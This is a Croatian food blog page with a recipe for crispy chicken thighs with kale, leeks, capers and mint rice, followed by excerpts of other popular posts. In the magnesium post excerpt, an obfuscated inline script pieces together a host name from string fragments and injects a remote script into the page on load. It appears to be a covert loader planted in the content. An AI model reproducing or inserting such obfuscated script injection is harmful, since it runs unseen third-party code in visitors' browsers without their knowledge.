HRSKAVA PILETINA S KELJOM I KAPARIMA 🐔



<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Hrskava piletina s keljom i kaparima 



Recept je brz, tehnički jednostavan i idealan za svakodnevni ručak ili večeru bez puno posuđa.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Hrskava piletina s keljom i kaparima 


Sastojci:

  • 4 velika pileća bataka s kostima i kožom (oko 900 g), posušena papirnatim ručnikom
  • ¾ žličice svježe mljevenog crnog papra
  • 2¼ žličice krupne (košer) soli, podijeljeno
  • 1 šalica bijele dugozrnate riže, isprane
  • 2 žlice sitno sjeckane svježe mente, plus dodatno za posluživanje
  • 1 vezica kovrčavog kelja (oko 340 g), natrganog na manje komade
  • 1 srednji poriluk, tanko narezan na polumjesece
  • 3 češnja češnjaka, tanko narezana
  • ⅓ šalice pilećeg temeljca
  • 1½ žlice kapara, ocijeđenih

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Priprema:


Piletina

Zagrijte pećnicu na 200 °C. Piletinu posolite s 1¼ žličice soli i popaprite. Složite batke kožom prema dolje u suhu, hladnu tavu od lijevanog željeza. Pecite na srednje jakoj vatri, bez pomicanja, dok koža ne postane zlatna i hrskava, 12–14 minuta. Okrenite batake i pecite još oko 2 minute. Izvadite ih na tanjur.



Riža

U loncu zakuhajte 1½ šalicu vode s rižom i ¾ žličice soli. Smanjite vatru, poklopite i kuhajte dok se tekućina ne upije, oko 15 minuta. Maknite s vatre i ostavite poklopljeno 5 minuta. Umiješajte mentu i rastresite vilicom.




Povrće

U istoj tavi zagrijte masnoću na srednje jakoj vatri. Dodajte kelj, poriluk, češnjak i preostalih ¼ žličice soli. Miješajte 1–2 minute, dok kelj ne omekša i postane intenzivno zelen. Ulijte temeljac i promiješajte. Batake položite natrag u tavu, kožom prema gore.




Završetak u pećnici

Tavu stavite u pećnicu i pecite 8–10 minuta, dok unutarnja temperatura piletine ne dosegne oko 77 °C.




Posluživanje

Umiješajte kapare u smjesu s keljom. Poslužite piletinu i povrće preko riže, uz dodatak svježe mente.



Čuvanje i podgrijavanje

Ostatke čuvajte u zatvorenoj posudi u hladnjaku do 3 dana. Piletinu je najbolje podgrijati u fritezi na vrući zrak kako bi kožica ponovno postala hrskava.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više